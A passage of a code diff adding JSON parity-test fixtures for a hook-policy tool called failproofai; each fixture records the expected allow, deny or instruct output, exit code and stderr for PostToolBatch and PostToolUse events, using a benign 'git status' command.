"[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PostToolBatch/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..36434a22 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostToolBatch/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f8471e14 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostToolBatch/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..9da1c2ec --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostToolBatch/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..0be7e338 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PostToolBatch/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c36da44b --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostToolBatch/deny__tool-present__two-policies.json new file mode 100644 index 00000000..adf7e412 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostToolBatch/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..c3e16b6f --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostToolBatch/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b0468bb3 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PostToolBatch/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..5fd133bf --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostToolBatch/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..2ddb84e8 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8fd85aec --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..669cd814 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9ca4e5d2 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b278e415 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..053a5d9d --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..704ff286 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..00cca70b --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..8876b25c --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ce5c3c16 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + 